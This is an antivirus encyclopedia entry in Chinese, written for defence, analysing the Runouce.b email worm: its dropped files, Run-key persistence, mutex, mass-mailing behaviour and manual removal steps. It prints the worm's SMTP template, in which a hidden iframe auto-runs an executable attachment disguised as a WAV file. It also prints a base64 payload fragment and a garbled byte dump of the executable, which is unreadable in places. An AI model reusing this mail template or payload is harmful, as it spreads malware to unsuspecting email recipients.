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词条 Worm/Win32.Runouce.b[Email]
释义

Worm/Win32.Runouce.bEmail,该恶意文件为蠕虫病毒,本恶意病毒文件进行了加密处理,病毒运行后、暴力搜索kernel32基址,动态获取大量API函数地址,创建互斥量名为"ChineseHacker-2",防止多次运行产生的冲突,调用API函数隐藏打开病毒本体文件,创建病毒文件"runouce.exe、KillEDLL.DLL"到%system32%目录下,按节分别将病毒代码写入该文件中,试图将病毒DLL注入到所有进程中,并将属性设置为隐藏。

病毒标签

病毒名称: Worm/Win32.Runouce.b[Email]

病毒类型: 蠕虫

文件 MD5: 5BCD5AC1E81E9AD7D75B031DA6DF401B

公开范围: 完全公开

危害等级: 4

文件长度: 126,976 字节

感染系统: Windows98以上版本

开发工具: Microsoft Visual Basic 5.0 / 6.0

病毒描述

添加注册表启动项、创建一个注册表监视的线程,如被删除,则立即重新写入病毒启动项,在系统目录下衍生"readme.eml"文件,该文件为病毒发送的邮件内容,该邮件内容为了躲避安全软件查杀便做了Base64加密处理,解密后得到的数据为PE文件可执行文件(病毒体文件),病毒调用系统自带的Outlook Express发送恶意邮件,病毒利用发送恶意邮件来传播自身。

行为分析-本地行为

1、文件运行后会释放以下文件

%System32%\\KillEDLL.DLL

%System32%\\MSWBPROTECT.DLL

%System32%\\runouce.exe

%Program Files%\\Common Files\\Microsoft Shared\\Stationery\\readme.eml

%Program Files%\\Common Files\\System\\ado\\readme.eml

%Program Files%\etMeeting\\readme.eml

2、本恶意病毒文件进行了加密处理,病毒运行后、暴力搜索kernel32基址,动态获取大量API函数地址,调用API函数CreateMutexA创建互斥量名为"ChineseHacker-2",防止多次运行产生的冲突。

3、添加注册表启动项

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Runonce

值: 字符串: "C:\\WINDOWS\\system32\\runouce.exe"

描述:添加注册表启动项

4、调用API函数隐藏打开病毒本体文件,创建病毒文件"runouce.exe"到%system32%目录下,按节分别将病毒代码写入该文件中,并将属性设置为隐藏,添加注册表启动项、创建一个注册表监视的线程,如被删除,则立即重新写入病毒启动项。

5、在系统目录下衍生"readme.eml"文件,该文件为病毒发送的邮件内容,该邮件内容为了躲避安全软件查杀便做了Base64加密处理,解密后得到的数据为PE文件可执行文件(病毒体文件),病毒调用系统自带的Outlook Express发送恶意邮件。

行为分析-网络行为

协议:TCP

端口:139 445

描述:通过以上端口发送恶意邮件,邮件内容:

HELO btamail.net.cn

MAIL FROM: imissyou@btamail.net.cn

RCPT TO:

DATA

FROM: A-738DF22C9CA04@yahoo.com

TO:

SUBJECT: A-738DF22C9CA04 is comming!

MIME-Version: 1.0

Content-type: multipart/mixed; boundary="#BOUNDARY#"

--#BOUNDARY#

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>

--#BOUNDARY#

MIME-Version: 1.0

Content-Type: audio/x-wav; name="pp.exe"

Content-Transfer-Encoding: base64

Content-id: THE-CID

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fjEVFQi8RqAVBT/1Y4WFni8evVw+nIAAAAgewAAQAAM/aL/Ga4DQq5DAAAAPzzZqvo9vD//4sUtAPhigJC/KoKwHX36AkAAAC3o

svNz/vPogDoBAAAAMbz03dYagD/EAvAdFeL2OgEAAAAmMLRd1hqBVP/EAvAdEKL2OgEAAAAruLRd1+B7AAQAABUaAAQAABqDVP/

F4HEABAAAAvAdRtUaAAQAABqDFP/F0aD5gd1CoHEAAEAAMnCBADoBAAAAEIkgHxYaPQBAAD/EOlR////6cgAAACLXQiB7AABAAC

L/OgIAAAAUnVub25jZQBeaAABAADoBAAAAOb1bnlYVFdqAGoAVlP/EFjoBAAAALj/bnlYagBqAGoEagBT/xDoBAAAAEHobnlYaA

ABAABXagFqAFZT/xDr0enIAAAA6AQAAACtaeh3WP91CGoAaP8PHwD/EAvAdCyL2OgEAAAAALTmd1hq/1P/EOgAAAAAWYPBGpCQk

OgEAAAAKnXod1hqAVH/EMnCBADpyAAAAGBQDwFMJP5Yg8AYixiLUAToCwAAAGCJGIlQBPzzpGHP+maPAGaPQAaLdQiLfQyLTRDM

+2HJwgwA6cgAAABgi0UIagBQUGoA/5aQAAAAYcnCBAAAAAAAAAAAAMMAAAAAAAAAAAAAAAAAAAA=

经解密得到数据: HELO btamail.net.cn

MAIL FROM: imissyou@btamail.net.cn

RCPT TO:

DATA

FROM: A-738DF22C9CA04@yahoo.com

TO:

SUBJECT: A-738DF22C9CA04 is comming!

MIME-Version: 1.0

Content-type: multipart/mixed; boundary="#BOUNDARY#"

--#BOUNDARY#

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>

--#BOUNDARY#

MIME-Version: 1.0

Content-Type: audio/x-wav; name="pp.exe"

Content-Transfer-Encoding: base64

Content-id: THE-CID

MZP ?@ ????L?悙This program must be run under Win32 $7PEL ?饨巵 D @ ` 0N@ CODE `DATA @?idata 0 @?reloc?@? @?%00@(08000F0F0KERNEL32.dllSleep 0`桄 媡$ ?ah @瞄Y? 佹???f?MZu?穨< ox 颡] ?缷谟?@? ? GetProcAddress^3杀 ??趮骢]$ ??C媇 迡 ?迊禳孅壌$鑎 嬮V??嬐怩?$?USER32.DLL?婶?嬮V??嬐怩?$?ADVAPI32.DLL?婶?嬮V??嬐怩?$?MPR.DLL?婶鑌嬮V??嬐怩?$?WSOCK32.DLL?婶鑭嬮V??嬐怩嬼?ChineseHacker-2jj? ? 缨 涕? j P? 鑘 嬼?嬼h`?D腼閅钑 ? 崅 ?? 岯-悙悏 鉴 楮 岯;悙悏 鑦 梏 崅?枸 岯-悙悏 ? 枭 岯;悙悏 鐴 媶h`P?d凐?\\V鐹^?Net Send * My god! Some one killed ChineseHacker-2 MonitorXjP? 霚Y枭 鑊 殍_媶墖?媶墖 媶墖& 婩D墖f 崌?PTjPPjj?t嬝X媶h`P?dPjS?xX凐? 涕V?^胭Y鐼 柁閅鐰 侅 T桁 孅j W?p凐? 嬝鑵 jjS?XjxPW?8S?@a陕 槿`侅 孅h W? ?4 稧< ??囋f?PE 吷崯 稯 I兠(恹;?嚤婫(+C r# C jP? ? --#BOUNDARY# MIME-Version: 1.0 Content-Type: audio/x-wav; name="pp.exe" Content-Transfer-Encoding: base64 Content-id: THE-CID X孅W? W? P? ?湅鐗E鼇 a婨???`荅鐰ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/^媫 婾 菱 3?拦 燕S? ?Jt C怙? ???轿余? ????M?=??廓a婨??QRV媢 婱 嬔陵 ? 鲅?谊? 耝ZY陕 XQ??閐g?dg?????閄???dg?YY??堽 Z瞄?柩??衢Y婨 増3郎?鑗 MZP ? @ " ?

&not;???L?悙This program must be run under Win32 $7圥E L ?饨 巵 @ P 0 N @ SCODE `DATA @ ?idata 0 @ ?reloc @ @ P???%00@??0 80 00 F0 F0 KERNEL32.dll Sleep? 0???G 缨 P嬆j PS?8X腱 ?G?QP嬆j PS?8XY怦胝瞄侅 3鰦黤? ??f?鲳???釆 B?纔麒 发送消息?企觲Xj?缨W嬝?樎褀Xj S?缨B嬝??褀_侅 Th j S?伳 纔 Th j S?F冩u 伳 陕 ?B$?Xh??镼??葖] 侅 孅?Runonce^h ?骢nyXTWjjVS?X??nyXjjj jS??A鑞yXh Wj jVS?胙槿?璱鑧X? jh?&not;?缨,嬝?存wXj??Y兞 悙愯 *u鑧Xj Q?陕 槿`P L$兝 ?婸 ?`?埘 ??销ff廆 媢 媫 婱 帖a陕 槿`婨 jPPj?恒陕

解密之后发现该内容为PE可执行文件,病毒调用系统自带的Outlook Express发送恶意邮件,病毒利用发送恶意邮件来传播自身。

注:%System32%是一个可变路径。病毒通过查询操作系统来决定当前System文件夹的位置。

%Windir% WINDODWS所在目录

%DriveLetter% 逻辑驱动器根目录

%ProgramFiles% 系统程序默认安装目录

%HomeDrive% 当前启动的系统的所在分区

%Documents and Settings% 当前用户文档根目录

%Temp% \\Documents and Settings\\当前用户\\Local Settings\\Temp

%System32% 系统的 System32文件夹

Windows2000/NT中默认的安装路径是C:\\Winnt\\System32

windows95/98/me中默认的安装路径是%WINDOWS%\\System

windowsXP中默认的安装路径是%system32%

清除方案

1、使用安天防线可彻底清除此病毒(推荐)。

2、手工清除请按照行为分析删除对应文件,恢复相关系统设置。

(1)开机按F8启动到安全模式,使用ATOOL“进程管理”

强行删除以下病毒文件

%System32%\\KillEDLL.DLL

%System32%\\MSWBPROTECT.DLL

%System32%\\runouce.exe

%Program Files%\\Common Files\\Microsoft Shared\\Stationery\\readme.eml

%Program Files%\\Common Files\\System\\ado\\readme.eml

%Program Files%\etMeeting\\readme.eml

(2)删除病毒添加的服务

HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Runonce

删除Run键值下的Runonce主键值

随便看

 

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更新时间:2024/11/15 18:22:39